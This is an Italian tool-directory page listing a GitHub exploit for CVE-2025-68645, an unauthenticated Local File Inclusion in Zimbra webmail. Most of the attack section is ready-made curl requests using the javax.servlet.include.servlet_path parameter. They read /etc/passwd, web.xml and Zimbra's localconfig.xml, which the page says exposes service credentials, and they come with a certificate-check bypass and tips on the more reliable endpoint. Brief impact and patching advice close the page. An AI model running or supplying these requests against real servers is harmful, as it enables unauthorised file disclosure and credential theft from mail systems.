Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-68645 — CVE-2025-68645 | Kitploit
Strumenti/GitHubGitHub/0xblackash/cve-2025-68645
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHub0xblackash/cve-2025-68645

CVE-2025-68645

CVE-2025-68645

Vedi Repository
214 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🛡️ CVE-2025-68645 - Analisi di Inclusione Locale di File (LFI) in Zimbra

zimbra

Vulnerabilità Prodotto Gravità Stato

📌 Panoramica

Questo documento descrive una vulnerabilità di Inclusione Locale di File (LFI) che interessa Zimbra Collaboration Suite.

Il problema deriva da una gestione impropria del seguente parametro:

root@kitploit:~
/h/*?javax.servlet.include.servlet_path=

Ciò consente a un utente non autenticato di accedere a risorse interne dell'applicazione.

🔍 Dettagli della Vulnerabilità

  • Tipo: Inclusione Locale di File (LFI)
  • Accesso: Non autenticato
  • Componente interessato: Webmail (Interfaccia classica)
  • Manipolazione di richieste HTTP
Scarica lo strumento
Vettore di attacco:

🧪 Verifica Iniziale

Richiesta di test:

root@kitploit:~
curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

▶️ Demo:

cve-2025-68645
cve-2025-68645 1

✅ Risultato

  • File interno recuperato con successo
  • Conferma una gestione impropria dell'input

⚙️ Comportamento dell'Endpoint

Più endpoint elaborano il parametro vulnerabile in modo diverso.

Esempio:

root@kitploit:~
/h/printcalendar?javax.servlet.include.servlet_path=...

Osservazioni:

  • Comportamento di accesso ai file più coerente
  • Migliore affidabilità della risposta rispetto a /h/rest

🚧 Considerazioni TLS

Problema

root@kitploit:~
SSL: certificate subject name does not match target host

Soluzione alternativa

root@kitploit:~
curl -k "https://TARGET/..."

🚀 Esempi di Sfruttamento

📂 Accesso a risorsa web interna

root@kitploit:~
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

📂 Tentativo di accesso a file di sistema

root@kitploit:~
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"

🔐 Accesso a configurazione applicativa

root@kitploit:~
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

Potenziale esposizione:

  • Credenziali di servizio
  • Configurazione interna
  • Dettagli infrastruttura

🧠 Impatto

Uno sfruttamento riuscito può portare a:

  • Divulgazione di file di configurazione sensibili
  • Esposizione di servizi interni e architettura
  • Perdita di credenziali
  • Rischio aumentato di ulteriori compromissioni

🛡️ Mitigazione

  • Aggiornare Zimbra alle versioni con patch

  • Limitare l'accesso agli endpoint vulnerabili

  • Monitorare i log per parametri sospetti:

    • javax.servlet.include.servlet_path

  • Implementare regole WAF per bloccare pattern malintenzionati

💡 Punti Chiave

  • Fallimenti nella validazione dell'input possono esporre risorse interne
  • Endpoint diversi possono comportarsi in modo inconsistente
  • I file di configurazione spesso contengono informazioni critiche
  • La rilevazione precoce riduce significativamente il rischio

🏴 Conclusione

  • Vulnerabilità confermata: CVE-2025-68645
  • Lo sfruttamento consente l'accesso non autorizzato ai file
  • Si raccomanda vivamente una correzione immediata

🔐 La Sicurezza Conta